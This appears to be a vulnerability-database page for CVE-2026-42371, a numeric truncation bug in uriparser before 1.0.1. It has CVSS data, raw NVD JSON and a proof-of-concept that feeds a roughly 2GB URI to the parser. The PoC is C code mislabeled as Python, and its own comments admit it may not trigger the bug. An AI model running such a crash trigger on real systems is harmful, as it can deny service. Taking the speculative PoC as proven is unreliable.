Security Vulnerability Report
中文
CVE-2026-42371 CVSS 5.1 MEDIUM

CVE-2026-42371

Published: 2026-04-27 07:16:04
Last Modified: 2026-05-18 17:58:05

Description

uriparser before 1.0.1 has numeric truncation in text range comparison, if an application accepts URIs with a length in gigabytes.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:uriparser_project:uriparser:*:*:*:*:*:*:*:* - VULNERABLE
uriparser < 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <uriparser/Uri.h> // PoC for CVE-2026-42371: Numeric truncation in text range comparison // This code attempts to trigger the bug by allocating a huge URI. int main() { // Define a size close to 2GB to potentially trigger truncation on 32-bit comparisons size_t huge_len = 2147483647; // Allocate memory for the malicious URI char *large_uri = (char *)malloc(huge_len + 10); if (!large_uri) { printf("Memory allocation failed.\n"); return 1; } // Fill the buffer to simulate a long URI memset(large_uri, 'a', huge_len); // Ensure there is a valid scheme structure at the beginning or end depending on parser logic // Here we just append a null terminator for safety, though real exploit needs specific structure large_uri[huge_len] = '\0'; printf("Attempting to parse a URI of length: %zu\n", huge_len); UriUriA uri; const char *errorPos; // The parsing function may encounter the numeric truncation here int result = uriParseSingleUriA(&uri, large_uri, &errorPos); if (result != URI_SUCCESS) { printf("Parsing failed or triggered the bug at position: %ld\n", errorPos - large_uri); } else { printf("Parsing succeeded (vulnerability not triggered or patched).\n"); uriFreeUriMembersA(&uri); } free(large_uri); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42371", "sourceIdentifier": "[email protected]", "published": "2026-04-27T07:16:04.173", "lastModified": "2026-05-18T17:58:04.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "uriparser before 1.0.1 has numeric truncation in text range comparison, if an application accepts URIs with a length in gigabytes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-197"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uriparser_project:uriparser:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.1", "matchCriteriaId": "AAD82D3D-B09A-43E7-B1B5-06AC52278395"}]}]}], "references": [{"url": "https://github.com/uriparser/uriparser/pull/298", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://uriparser.github.io", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/27/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}